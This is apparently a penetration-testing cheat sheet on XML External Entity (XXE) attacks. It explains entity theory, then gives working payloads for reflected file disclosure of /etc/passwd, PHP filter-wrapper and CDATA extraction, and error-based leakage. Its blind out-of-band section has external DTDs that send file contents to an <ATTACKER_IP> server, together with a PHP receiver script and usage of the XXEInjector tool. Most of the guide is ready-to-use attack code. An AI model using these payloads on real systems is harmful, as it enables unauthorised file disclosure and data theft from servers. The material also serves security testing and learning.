PRIMARY CATEGORY → XXE

An XML External Entity (XXE) vulnerability occurs when an application parses attacker-controlled XML while allowing DTD processing or external resource resolution

Depending on the parser configuration, an XXE may lead to local file disclosure, SSRF, internal network access, Out-of-Band data exfiltration or, in uncommon configurations, command execution

Theory

For an XXE to be exploitable, the input must reach an XML parser that processes DTDs or resolves external entities

MIME type validation does not prevent XXE. Formats such as SVG, SOAP or other XML-based documents may still be processed by a vulnerable XML parser

There are two main entity types →

General Entity
  • Declared as <!ENTITY name "...">
  • Referenced as &name;
  • Used primarily within the XML document content
Parameter Entity
  • Declared as <!ENTITY % name "...">
  • Referenced as %name;
  • Used only within the DTD

General and parameter entities use separate namespaces

Parameter entities are not exclusive to external DTDs. They may also be used in the internal DTD subset, although XML restricts where they may be referenced

EntityValue

An EntityValue is the replacement text stored by an internal entity

<!ENTITY % message "replacement text">

Parameter-entity references may be processed while constructing this replacement text

SystemLiteral

A SystemLiteral identifies an external resource

<!ENTITY % file SYSTEM "file:///etc/hostname">

In this example, "file:///etc/hostname" is the SystemLiteral

Parameter entities are not expanded inside a SystemLiteral. This is important when dynamically constructing an exfiltration URL


Simple XXE

e.g. file://<FILE_PATH>

When an XML value is reflected in the HTTP response, we can define a general external entity and reference it in the reflected field

Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<foo>
	&file;
</foo>

The DOCTYPE name should match the document root element

The entity must be referenced in a field whose parsed value reaches the HTTP response


PHP Filter Wrapper XXE

For PHP web applications

The extracted file may contain line breaks or XML-sensitive characters such as <, > or &, which could break the resulting XML document

The PHP Filter Wrapper can encode the resource before the parser inserts it into the document

Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>
	&file;
</foo>

Decode the returned value locally →

echo '<BASE64_DATA>' | base64 -d

Base64 is not mandatory, but it prevents line breaks and XML-sensitive characters from corrupting the document


CDATA XXE

Useful when PHP stream wrappers are unavailable

A CDATA section causes the XML parser to treat characters such as <, > and & as text instead of markup

<![CDATA[
	<FILE_CONTENT>
]]>

To dynamically wrap a local file inside CDATA, we can use parameter entities from an external DTD

Creating an External DTD
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/index.php">
<!ENTITY % end "]]>">
<!ENTITY % declare "<!ENTITY content '%start;%file;%end;'>">
%declare;
Setting up an HTTP Server
python3 -m http.server 80
Sending the XXE Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
	%dtd;
]>
<foo>
	&content;
</foo>

The external DTD is required because the internal DTD subset does not permit parameter-entity references inside another markup declaration

This is an XML grammar restriction. It is not caused by the internal DTD being validated line by line

External DTDs permit parameter-entity references inside markup declarations, allowing %declare; to generate the content general entity

This method may still fail if the disclosed resource contains the ]]> sequence


Error-Based XXE

If the application does not reflect the parsed XML but returns detailed parser errors, file contents may be disclosed inside an error message

Creating an External DTD
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % stage "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%stage;
%error;

The entities are processed as follows

  • %file; reads and encodes the local resource

  • %stage; expands into another parameter-entity declaration

  • &#x25; becomes the % character without being interpreted prematurely

  • %error; attempts to access a nonexistent path containing the encoded data

The parser may include that path in its error response

Setting up an HTTP Server
python3 -m http.server 80
Sending the XXE Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
	%dtd;
]>
<foo/>

This technique depends on verbose errors and parser-specific behaviour


Blind OOB XXE

A Blind XXE occurs when the parser resolves external entities but neither their value nor parser errors reach the HTTP response

In this case, an external callback can be used to confirm entity resolution and exfiltrate information

Manual
Confirming External Entity Resolution

First, use a unique external resource to determine whether the parser performs outbound requests

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY % callback SYSTEM "http://<ATTACKER_IP>:<PORT>/xxe-test">
	%callback;
]>
<foo/>

Receiving the request confirms that an external entity was resolved, but does not automatically prove arbitrary file disclosure

Why an Intermediate Entity Is Required

The following structure does not work as expected

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % exfil SYSTEM "http://<ATTACKER_IP>:<PORT>/?content=%file;">
%exfil;

%file; cannot be expanded directly inside the SystemLiteral used by %exfil

Instead, an intermediate entity must store another entity declaration inside its EntityValue

Creating an External DTD
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hostname">
<!ENTITY % stage "<!ENTITY &#x25; exfil SYSTEM 'http://<ATTACKER_IP>:<PORT>/?content=%file;'>">
%stage;
%exfil;

The entities are processed as follows

  • %file; reads and encodes the local file

  • %stage; contains another entity declaration as replacement text

  • &#x25; becomes the % character

  • Expanding %stage; declares %exfil;

  • Expanding %exfil; sends the file contents to the external server

Setting up an HTTP Server

Create an index.php file to decode the received parameter and write it to the terminal running the PHP development server

index.php
<?php
 
if (!isset($_GET['content'])) {
	http_response_code(204);
	exit;
}
 
$encoded = str_replace(' ', '+', $_GET['content']);
$decoded = base64_decode($encoded, true);
 
error_log(
	$decoded === false
		? '[XXE] Invalid Base64 data'
		: "\n[XXE]\n" . $decoded
);
 
http_response_code(204);

print_r() would write the decoded value into the HTTP response body

error_log() writes it to the PHP server error stream, which is displayed in the terminal when using php -S

Start the server

php -S 0.0.0.0:<PORT>

PHP decodes query-string parameters automatically. Since + may become a space during this process, the receiver restores it before decoding the Base64 value

Sending the XXE Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>:<PORT>/evil.dtd">
	%dtd;
]>
<foo/>

No &entity; reference is required in the document body because %exfil; is invoked while processing the external DTD

Limitations
  • Query strings have length limits

  • Large files may require chunked extraction

  • Base64 characters may require normalization or URL-safe transport

  • Outbound HTTP or DNS connections may be restricted

  • The parser may permit http:// while blocking file:// and so on

  • A unique callback path should be used for every test

Automatic
XXEInjector

XXEInjector

  • Setup
git clone https://github.com/enjoiz/XXEinjector XXEInjector
cd XXEInjector
  • Usage

Intercept the vulnerable HTTP request and save it into a file before passing it to the tool

ruby XXEInjector.rb \
	--host=<ATTACKER_IP> \
	--httpport=<ATTACKER_PORT> \
	--file=<REQUEST_FILE> \
	--path=<FILE_TO_DISCLOSE> \
	--oob=http \
	--phpfilter

Set up the required HTTP server

php -S 0.0.0.0:<PORT>

The extracted data should be stored under the following path

Logs/<TARGET>/<RESOURCE_FULL_PATH>.log

The vulnerability should be validated manually first, as the supported techniques and options depend on the parser and the installed tool version